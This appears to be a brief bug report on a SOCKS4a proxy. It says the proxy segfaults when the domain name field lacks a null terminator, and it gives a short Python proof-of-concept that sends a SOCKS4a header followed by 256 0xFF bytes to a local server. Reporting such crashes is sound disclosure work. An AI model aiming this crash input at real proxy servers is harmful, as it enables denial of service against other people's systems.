useless2bit

Segmentation fault, if the domain name isn't null-terminated string (SOCKS4a protocol). ``` #!/bin/python3 import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.connect(('127.0.0.1', 1080)) s.send(b'\x04\x01\x00\x00\x00\x00\x00\x01\x00') for i in range(256): s.send(b'\xFF') ```